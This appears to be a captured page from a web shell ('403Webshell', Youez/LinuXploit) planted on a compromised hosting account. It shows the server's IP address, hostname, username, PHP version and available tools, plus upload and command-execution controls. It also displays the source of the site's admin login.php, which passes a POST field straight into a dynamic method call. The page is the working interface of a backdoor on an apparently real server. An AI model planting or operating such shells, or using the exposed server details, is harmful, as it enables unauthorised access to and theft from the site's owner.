403Webshell
Server IP : 192.169.170.185  /  Your IP : 216.73.216.97
Web Server : Apache
System : Linux p3plmcpnl495852.prod.phx3.secureserver.net 4.18.0-553.52.1.lve.el8.x86_64 #1 SMP Wed May 21 15:31:29 UTC 2025 x86_64
User : akhilnew ( 1712764)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhilnew/public_html/jyotishajournal/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhilnew/public_html/jyotishajournal/admin/login.php
<?php
session_start();
if (file_exists('../inc/config.php')) {
	require_once('../inc/config.php');
} else {
	die('Database configuration file doesn\'t exist.');
}

require_once('../../../temp/Csrf.php');
require_once('../../../temp/Login.php');

if (Login::check()) { header("Location:{$adminurl}u/dashboard"); exit(); }

$stmt = $mysqli->prepare("SELECT websitename FROM settings ORDER BY settingsid DESC LIMIT 1") or die($mysqli->error);
$stmt->execute();
$stmt->store_result();
$stmt->bind_result($websitename);
$stmt->fetch();
$stmt->close();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
	if (Csrf::check_valid()) {
		die(Login::{isset($_POST['focus']) ? $mysqli->real_escape_string($_POST['focus']) : null}('Jyotisha Journal'));
	} else {
		die(json_encode(array('text' => 'Submission not allowed.')));
	}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex, nofollow">
<title>Admin Panel | <?php echo $websitename; ?></title>
<link rel="shortcut icon" href="<?php echo $imageurl; ?>favicon.ico" />
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:400,500" />
<style type="text/css">
*,
*:before,
*:after {
	box-sizing: border-box !important;
	outline: none;
}

body {
	font-size: 14px;
	font-family: 'Roboto', sans-serif;
	overflow-y: scroll;
}
</style>
</head>
<body>
<?php
echo <<<EOJ
<div id="load" class="container mt-5">
	<form action="{$adminurl}login" method="post" name="loginform" autocomplete="off" onsubmit="return post(this)">
		<input type="hidden" name="{$token_id}" value="{$token_value}" readonly />
		<input type="hidden" name="focus" value="auth" readonly />
		<div class="row">
			<div class="col-12 col-md-8 col-lg-4 mx-auto">
				<div class="card">
					<img src="{$adminurl}bg.png" alt="Login" class="card-img-top" />
					<div class="card-body">
						<div class="mb-3">
							<label for="username" class="form-label">Username</label>
							<input type="text" name="username" id="username" class="form-control">
						</div>
						<div class="mb-3">
							<label for="password" class="form-label">Password</label>
							<input type="password" name="password" id="password" class="form-control">
						</div>
					</div>
					<div class="card-footer">
						<button type="submit" id="b" class="btn btn-primary float-end">Login</button>
					</div>
				</div>
			</div>
		</div>
	</form>
</div>

<div id="toastEl" class="toast align-items-center text-white bg-dark border-0 mx-auto mt-4" role="alert" aria-live="assertive" aria-atomic="true" data-bs-animation="false" data-bs-delay="15000">
    <div id="tb" class="toast-body"></div>
</div>
EOJ;
?>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
<script>
var toast = new bootstrap.Toast(toastEl);

post = (f) => {
	b.disabled = true;toast.hide();tb.innerHTML = '';

	fetch(f.action, {
		method: 'post',
		mode: 'same-origin',
		cache: 'no-cache',
		headers: {
			'Accept': 'application/json',
		},
		body: new FormData(f)
	})
	.then(response => response.json())
	.then(response => {
		if (response.text) {
			b.disabled = false;toast.show();tb.innerHTML = response.text;
		}
		if (response.html) {
			load.innerHTML = response.html;
		}
		if (response.surl) {
			window.location.href = response.surl;
		}
	})
	.catch(error => {
		b.disabled = false;toast.show();tb.innerHTML = error;
	})
	.finally(() => {
	});

	return false;
}
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit